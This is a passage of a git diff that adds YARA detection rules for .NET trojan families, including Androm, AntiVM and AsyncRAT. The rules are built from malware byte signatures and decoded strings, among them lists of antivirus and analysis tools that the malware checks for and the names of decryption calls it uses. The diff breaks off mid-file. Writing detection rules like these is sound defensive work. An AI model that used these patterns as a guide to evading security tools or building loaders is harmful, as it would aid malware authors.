a/Trojan/BAT/Androm/Trojan_BAT_Androm_AMAB_MTB.yar +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AMAB_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_Androm_AMAB_MTB{ + meta: + description = "Trojan:BAT/Androm.AMAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 04 17 58 20 00 01 00 00 5d 13 04 11 05 07 11 04 91 58 20 00 01 00 00 5d 13 05 07 11 04 91 0d 07 11 04 07 11 05 91 9c 07 11 05 09 9c 07 11 04 91 07 11 05 91 58 20 00 01 00 00 5d 13 07 02 11 06 8f ?? 00 00 01 25 71 ?? 00 00 01 07 11 07 91 61 d2 81 ?? 00 00 01 11 06 17 58 13 06 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Androm_AMAB_MTB_2{ meta: description = "Trojan:BAT/Androm.AMAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AND_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AND_MTB.yar index 715ee159a4..6d09b6f571 100644 --- a/Trojan/BAT/Androm/Trojan_BAT_Androm_AND_MTB.yar +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AND_MTB.yar @@ -3,6 +3,16 @@ rule Trojan_BAT_Androm_AND_MTB{ meta: description = "Trojan:BAT/Androm.AND!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_01_0 = {11 02 03 59 11 03 59 20 ff 00 00 00 5f d2 13 02 20 05 00 00 00 7e 16 00 00 04 7b 29 00 00 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_BAT_Androm_AND_MTB_2{ + meta: + description = "Trojan:BAT/Androm.AND!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_03_0 = {fe 01 16 fe 01 13 42 11 42 2d 1e 00 14 13 0b 14 13 0c 11 0b 11 0c 6f ?? ?? ?? 0a 13 0d 14 13 0e 11 0e 6f ?? ?? ?? 0a 26 00 02 11 09 91 } //1 condition: diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_ARA_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_ARA_MTB.yar index 1a28c8ecea..89bf291173 100644 --- a/Trojan/BAT/Androm/Trojan_BAT_Androm_ARA_MTB.yar +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_ARA_MTB.yar @@ -18,4 +18,19 @@ rule Trojan_BAT_Androm_ARA_MTB_2{ condition: ((#a_03_0 & 1)*2) >=2 +} +rule Trojan_BAT_Androm_ARA_MTB_3{ + meta: + description = "Trojan:BAT/Androm.ARA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 06 00 00 " + + strings : + $a_01_0 = {55 6e 69 74 43 6f 6e 76 65 72 74 65 72 2e 55 6e 69 74 43 6f 6e 76 65 72 74 65 72 2e 72 65 73 6f 75 72 63 65 73 } //2 UnitConverter.UnitConverter.resources + $a_01_1 = {55 6e 69 74 43 6f 6e 76 65 72 74 65 72 31 2e 4e 6f 64 65 73 43 6f 6e 74 72 6f 6c 2e 72 65 73 6f 75 72 63 65 73 } //2 UnitConverter1.NodesControl.resources + $a_01_2 = {55 6e 69 74 43 6f 6e 76 65 72 74 65 72 31 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 UnitConverter1.Properties.Resources + $a_01_3 = {6b 65 79 45 76 65 6e 74 41 72 67 73 } //1 keyEventArgs + $a_01_4 = {4e 6f 64 65 73 43 6f 6e 74 72 6f 6c 5f 4d 6f 75 73 65 4d 6f 76 65 } //1 NodesControl_MouseMove + $a_01_5 = {61 64 64 5f 4d 6f 75 73 65 43 6c 69 63 6b } //1 add_MouseClick + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=9 + } \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_AVTA_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_AVTA_MTB.yar new file mode 100644 index 0000000000..4279fdc56e --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_AVTA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Androm_AVTA_MTB{ + meta: + description = "Trojan:BAT/Androm.AVTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 3c ?? 00 00 00 16 0b dd ?? 00 00 00 72 ?? ?? 00 70 28 ?? 00 00 0a 0c 72 ?? ?? 00 70 28 ?? 00 00 0a 0d 28 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 73 ?? 00 00 0a 13 05 11 05 11 04 6f ?? 00 00 0a 17 73 ?? 00 00 0a 13 06 11 06 06 16 06 8e 69 6f ?? 00 00 0a 11 06 6f ?? 00 00 0a 03 11 05 6f ?? 00 00 0a 6f ?? 00 00 06 17 0b dd } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_MCF_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_MCF_MTB.yar new file mode 100644 index 0000000000..0bede6d09a --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_MCF_MTB{ + meta: + description = "Trojan:BAT/Androm.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {58 00 53 00 67 00 2b 00 50 00 43 00 7a 00 66 00 65 00 46 00 67 00 3d 00 3d 00 00 19 48 00 68 00 6c 00 6e 00 6f 00 39 00 64 00 51 00 51 00 67 00 38 00 3d 00 00 4b } //1 XSg+PCzfeFg==ᤀHhlno9dQQg8=䬀 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_SEB_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_SEB_MTB.yar new file mode 100644 index 0000000000..b47fdfdb02 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_SEB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_SEB_MTB{ + meta: + description = "Trojan:BAT/Androm.SEB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5f 62 60 20 b4 d5 fd 61 59 20 ca a9 00 00 20 ab a9 00 00 59 5f 64 60 72 24 06 00 70 a2 28 17 00 00 0a d0 03 00 00 02 28 14 00 00 0a 6f 6b 00 00 0a 73 6c 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_SIR_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_SIR_MTB.yar new file mode 100644 index 0000000000..f70c729ce6 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_SIR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_SIR_MTB{ + meta: + description = "Trojan:BAT/Androm.SIR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 16 02 8e 69 6f 27 00 00 0a 6f 28 00 00 0a 6f 29 00 00 0a 7e 08 00 00 04 20 25 01 00 00 7e 08 00 00 04 20 25 01 00 00 94 7e 02 00 00 04 20 18 02 00 00 94 61 20 8c 00 00 00 5f 9e } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_SLU_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_SLU_MTB.yar new file mode 100644 index 0000000000..52a48c16a7 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_SLU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Androm_SLU_MTB{ + meta: + description = "Trojan:BAT/Androm.SLU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {02 28 09 00 00 06 0a 73 0f 00 00 0a 25 02 06 28 08 00 00 06 6f 10 00 00 0a 0b } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Androm/Trojan_BAT_Androm_STT_MTB.yar b/Trojan/BAT/Androm/Trojan_BAT_Androm_STT_MTB.yar new file mode 100644 index 0000000000..4738a3b1e2 --- /dev/null +++ b/Trojan/BAT/Androm/Trojan_BAT_Androm_STT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Androm_STT_MTB{ + meta: + description = "Trojan:BAT/Androm.STT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {34 00 73 00 2f 00 36 00 68 00 4f 00 41 00 41 00 76 00 45 00 32 00 78 00 4e 00 65 00 79 00 79 00 78 00 4d 00 34 00 4f 00 44 00 41 00 3d 00 3d 00 } //2 4s/6hOAAvE2xNeyyxM4ODA== + $a_01_1 = {4c 00 69 00 70 00 61 00 71 00 69 00 69 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //1 Lipaqii.Properties.Resources + $a_01_2 = {44 00 68 00 6a 00 65 00 6b 00 68 00 6c 00 61 00 } //1 Dhjekhla + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_GTB_MTB.yar b/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_GTB_MTB.yar new file mode 100644 index 0000000000..053325718f --- /dev/null +++ b/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_GTB_MTB.yar @@ -0,0 +1,34 @@ + +rule Trojan_BAT_AntiVM_GTB_MTB{ + meta: + description = "Trojan:BAT/AntiVM.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 18 00 00 " + + strings : + $a_01_0 = {50 6f 77 65 72 53 68 65 6c 6c } //2 PowerShell + $a_80_1 = {4d 61 6c 77 61 72 65 } //Malware 2 + $a_80_2 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 57 69 6e 33 32 5f 4d 61 70 70 65 64 4c 6f 67 69 63 61 6c 44 69 73 6b } //SELECT * FROM Win32_MappedLogicalDisk 2 + $a_80_3 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 57 69 6e 33 32 5f 55 73 65 72 50 72 6f 66 69 6c 65 } //SELECT * FROM Win32_UserProfile 2 + $a_80_4 = {76 53 70 68 65 72 65 } //vSphere 1 + $a_80_5 = {56 4d 77 61 72 65 } //VMware 1 + $a_01_6 = {44 69 73 6b 43 68 65 6b } //1 DiskChek + $a_80_7 = {53 61 76 65 64 52 64 70 53 65 73 73 69 6f 6e 73 2e 63 73 76 } //SavedRdpSessions.csv 1 + $a_80_8 = {67 65 74 5f 43 6f 6d 70 75 74 65 72 4e 61 6d 65 } //get_ComputerName 1 + $a_80_9 = {67 65 74 5f 55 73 65 72 4e 61 6d 65 } //get_UserName 1 + $a_01_10 = {49 6e 76 6f 6b 65 4d 65 74 68 6f 64 } //1 InvokeMethod + $a_80_11 = {41 6e 74 69 76 69 72 75 73 } //Antivirus 1 + $a_80_12 = {42 69 74 44 65 66 65 6e 64 65 72 } //BitDefender 1 + $a_80_13 = {4b 61 73 70 65 72 73 6b 79 } //Kaspersky 1 + $a_80_14 = {4e 6f 72 74 6f 6e } //Norton 1 + $a_80_15 = {41 76 61 73 74 } //Avast 1 + $a_80_16 = {57 65 62 52 6f 6f } //WebRoo 1 + $a_80_17 = {45 53 45 54 } //ESET 1 + $a_80_18 = {44 65 66 65 6e 64 65 72 } //Defender 1 + $a_80_19 = {53 6f 70 68 6f 73 } //Sophos 1 + $a_80_20 = {54 72 65 6e 64 } //Trend 1 + $a_80_21 = {53 79 6d 61 6e 74 65 63 20 45 6e 64 70 6f 69 6e 74 20 50 72 6f 74 65 63 74 69 6f 6e } //Symantec Endpoint Protection 1 + $a_80_22 = {43 72 6f 77 64 53 74 72 69 6b 65 } //CrowdStrike 1 + $a_80_23 = {43 6f 72 74 65 78 } //Cortex 1 + condition: + ((#a_01_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_01_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_01_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1) >=28 + +} \ No newline at end of file diff --git a/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_SWA_MTB.yar b/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_SWA_MTB.yar new file mode 100644 index 0000000000..36792aad71 --- /dev/null +++ b/Trojan/BAT/AntiVm/Trojan_BAT_AntiVM_SWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AntiVM_SWA_MTB{ + meta: + description = "Trojan:BAT/AntiVM.SWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 11 07 25 4b 11 0e 11 11 1f 0f 5f 95 61 54 11 0e 11 11 1f 0f 5f 11 0e 11 11 1f 0f 5f 95 11 07 25 1a 58 13 07 4b 61 20 19 28 bb 3d 58 9e 11 11 17 58 13 11 00 11 20 17 58 13 20 11 20 11 08 fe 05 13 21 11 21 2d b9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_ASyncRAT_ZZU_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_ASyncRAT_ZZU_MTB.yar new file mode 100644 index 0000000000..96592befca --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_ASyncRAT_ZZU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_ASyncRAT_ZZU_MTB{ + meta: + description = "Trojan:BAT/ASyncRAT.ZZU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {11 07 11 07 6f ?? 00 00 0a 11 07 6f ?? 00 00 0a 6f ?? 00 00 0a 13 09 11 08 11 09 17 73 ?? 00 00 0a 13 0a 11 0a 11 04 16 11 04 8e 69 6f ?? 00 00 0a 11 0a 6f ?? 00 00 0a de 0c } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGA_MTB.yar new file mode 100644 index 0000000000..566e0cdedc --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_BGA_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.BGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 07 91 0c 06 07 06 02 07 59 17 59 91 9c 06 02 07 59 17 59 08 9c 07 17 58 0b 07 02 18 5b 32 e0 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGB_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGB_MTB.yar new file mode 100644 index 0000000000..81b0a79afd --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_BGB_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.BGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {08 09 17 59 06 09 91 07 61 09 19 5d 17 58 61 09 1d 5d 17 58 59 20 ff 00 00 00 5f d2 9c 09 17 58 0d 09 06 8e 69 32 d9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGC_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGC_MTB.yar new file mode 100644 index 0000000000..2f837e95d7 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_BGC_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.BGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {08 09 17 59 06 09 91 07 61 1f 0d 59 20 ff 00 00 00 5f d2 9c 09 17 58 0d 09 06 8e 69 32 e2 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGD_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGD_MTB.yar new file mode 100644 index 0000000000..ff71167637 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_BGD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_BGD_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.BGD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {00 11 0c 11 0d 11 04 11 05 ?? ?? 00 00 0a 16 ?? ?? 00 00 0a 13 0e 11 0e 11 0b ?? ?? 00 00 0a 00 de 0e 00 11 0e 2c 08 11 0e ?? ?? 00 00 0a 00 dc de 0e 00 11 0d 2c 08 11 0d ?? ?? 00 00 0a 00 dc de 0e } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVA_MTB.yar new file mode 100644 index 0000000000..ef8f6f863b --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_GVA_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {06 66 06 20 a2 e7 ff ff 58 3b 1c 00 00 00 00 20 56 06 00 00 06 06 19 5a 06 1b 5a 58 5f 61 16 3b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVB_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVB_MTB.yar new file mode 100644 index 0000000000..42a3adb0f9 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_GVB_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {02 8e 69 8d 54 00 00 01 0a 02 8e 69 17 59 0b 16 0c 38 0e 00 00 00 06 08 02 07 91 9c 07 17 59 0b 08 17 58 0c 08 06 8e 69 32 ec } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVC_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVC_MTB.yar new file mode 100644 index 0000000000..d937ac95ab --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GVC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_GVC_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {39 0d 00 00 00 fe 0c 00 00 fe 09 00 00 6f f2 00 00 0a fe 0c 00 00 fe 09 00 00 fe 09 01 00 6f ae 00 00 0a dd 13 00 00 00 fe 0c 00 00 39 09 00 00 00 fe 0c 00 00 6f 1a 00 00 0a dc } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GZN_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GZN_MTB.yar new file mode 100644 index 0000000000..7571fad750 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_GZN_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_AsyncRAT_GZN_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.GZN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 00 " + + strings : + $a_01_0 = {4b 69 6c 6c 53 79 73 74 65 6d 53 65 74 74 69 6e 67 73 50 72 6f 63 65 73 73 } //1 KillSystemSettingsProcess + $a_01_1 = {5c 4e 6a 52 61 74 } //1 \NjRat + $a_80_2 = {4b 69 6c 6c 53 77 69 74 63 68 } //KillSwitch 1 + $a_80_3 = {6b 69 6c 6c 69 6e 67 20 53 79 73 74 65 6d 53 65 74 74 69 6e 67 73 } //killing SystemSettings 1 + $a_80_4 = {54 61 73 6b 20 4b 69 6c 6c } //Task Kill 1 + $a_80_5 = {50 72 6f 63 65 73 73 20 48 61 63 6b 65 72 } //Process Hacker 1 + $a_80_6 = {48 69 6a 61 63 6b 43 6c 65 61 6e 65 72 36 34 } //HijackCleaner64 1 + $a_80_7 = {50 6f 77 65 72 53 68 65 6c 6c } //PowerShell 1 + $a_80_8 = {57 69 72 65 73 68 61 72 6b } //Wireshark 1 + $a_80_9 = {63 6f 6e 66 75 73 65 72 } //confuser 1 + $a_80_10 = {50 72 6f 63 6d 6f 6e } //Procmon 1 + $a_80_11 = {50 72 6f 63 65 73 73 20 45 78 70 6c 6f 72 65 72 } //Process Explorer 1 + $a_80_12 = {58 76 69 72 75 73 } //Xvirus 1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKI_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKI_MTB.yar new file mode 100644 index 0000000000..53995a87f8 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRAT_JKI_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.JKI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {03 6f 85 00 00 0a 28 50 00 00 06 0c 73 5c 00 00 0a 28 4f 00 00 06 0d 09 07 6f 81 00 00 0a 09 08 6f 82 00 00 0a 25 09 6f 86 00 00 0a 17 73 5d 00 00 0a 25 06 16 06 8e 69 6f 5e 00 00 0a 6f 61 00 00 0a 6f 60 00 00 0a 28 87 00 00 0a 2a } //2 + $a_00_1 = {43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 CCCCCCCCCCCCCCCCCCCCCCCCCCCC.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_00_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKU_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKU_MTB.yar new file mode 100644 index 0000000000..539d91629f --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JKU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_AsyncRAT_JKU_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.JKU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {28 09 00 00 0a 02 6f 0a 00 00 0a 0b 06 07 16 07 8e 69 6f 0b 00 00 0a 06 6f 0c 00 00 0a 28 0d 00 00 0a 0c dd 19 00 00 00 06 39 06 00 00 00 06 6f 0e 00 00 0a dc } //2 + $a_01_1 = {72 37 00 00 70 28 11 00 00 0a 0a 72 69 00 00 70 28 11 00 00 0a 0b 73 12 00 00 0a 0c 08 06 6f 13 00 00 0a 08 07 6f 14 00 00 0a 08 6f 15 00 00 0a 02 16 02 8e 69 6f 16 00 00 0a 0d dd 0d 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JK_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JK_MTB.yar new file mode 100644 index 0000000000..660c4a8dc5 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_JK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_JK_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.JK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {06 02 28 0b 00 00 06 28 06 00 00 06 28 1f 00 00 0a 06 28 20 00 00 0a 26 28 1c 00 00 0a 72 27 00 00 70 28 1d 00 00 0a 0b 07 02 28 0c 00 00 06 28 06 00 00 06 28 1f 00 00 0a 07 28 20 00 00 0a 26 02 28 21 00 00 0a 2a } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_MFA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_MFA_MTB.yar new file mode 100644 index 0000000000..544684f28c --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_MFA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_AsyncRAT_MFA_MTB{ + meta: + description = "Trojan:BAT/AsyncRAT.MFA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0d 73 e6 01 00 0a 0b 07 09 28 ?? 01 00 0a 20 3c 9e 92 2c 28 ?? 04 00 06 28 ?? 01 00 0a 6f ?? 01 00 0a 13 04 73 e4 01 00 0a 0c 08 11 04 17 73 e9 01 00 0a 0a 02 06 6f ?? 01 00 0a 06 6f ?? 01 00 0a 02 6f ?? 01 00 0a de 07 06 6f ?? 00 00 0a dc 03 2d 02 de 10 03 08 6f ?? 01 00 0a de 07 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPA_MTB.yar b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPA_MTB.yar new file mode 100644 index 0000000000..a57585b2f3 --- /dev/null +++ b/Trojan/BAT/Asyncrat/Trojan_BAT_AsyncRAT_RPA_MTB.yar @@ -0,0 